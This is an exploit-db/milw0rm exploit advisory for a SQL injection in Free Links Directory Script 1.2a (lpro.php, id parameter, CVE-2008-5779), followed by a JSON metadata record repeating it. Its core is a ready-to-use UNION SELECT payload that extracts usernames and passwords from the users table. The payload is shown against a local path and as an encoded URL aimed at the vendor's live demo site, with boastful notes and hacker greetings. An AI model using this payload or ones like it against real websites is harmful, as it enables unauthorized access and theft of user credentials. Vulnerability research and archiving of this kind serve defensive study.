#Free Links Directory Script (id) SQL Injection Vulnerability
#Author: nuclear
#site:
http://flds-script.com
#vuln:
http://localhost/[path]/lpro.php?id=-1 UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11 from users
#demo:
http://flds-script.com/demo/lpro.php?id=-1%20UNION%20SELECT%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11%20from%20users
#notes:
Script is full of bugs like this, too bored to catch em all !
#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar
# milw0rm.com [2008-12-15]
{"bulletinFamily": "exploit", "id": "EDB-ID:7474", "cvelist": ["CVE-2008-5779"], "modified": "2008-12-15T00:00:00", "lastseen": "2016-02-01T03:19:00", "edition": 1, "sourceData": "#Free Links Directory Script (id) SQL Injection Vulnerability\n\n\n#Author: nuclear\n\n\n#site:\nhttp://flds-script.com\n\n\n#vuln:\nhttp://localhost/[path]/lpro.php?id=-1 UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11 from users\n\n\n#demo:\nhttp://flds-script.com/demo/lpro.php?id=-1%20UNION%20SELECT%201,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11%20from%20users\n\n#notes:\nScript is full of bugs like this, too bored to catch em all !\n\n\n#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar\n\n# milw0rm.com [2008-12-15]\n", "published": "2008-12-15T00:00:00", "href": "https://www.exploit-db.com/exploits/7474/", "osvdbidlist": ["50723"], "reporter": "nuclear", "hash": "e5e10e1d25ac459a8b78639f1ec77fac4fdcbdd89c8aa708e837646952ff6545", "title": "FLDS 1.2a lpro.php id Remote SQL Injection Vulnerability", "history": [], "type": "exploitdb", "objectVersion": "1.0", "description": "FLDS 1.2a (lpro.php id) Remote SQL Injection Vulnerability. CVE-2008-5779. Webapps exploit for php platform", "references": [], "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/7474/", "enchantments": {"vulnersScore": 7.5}}
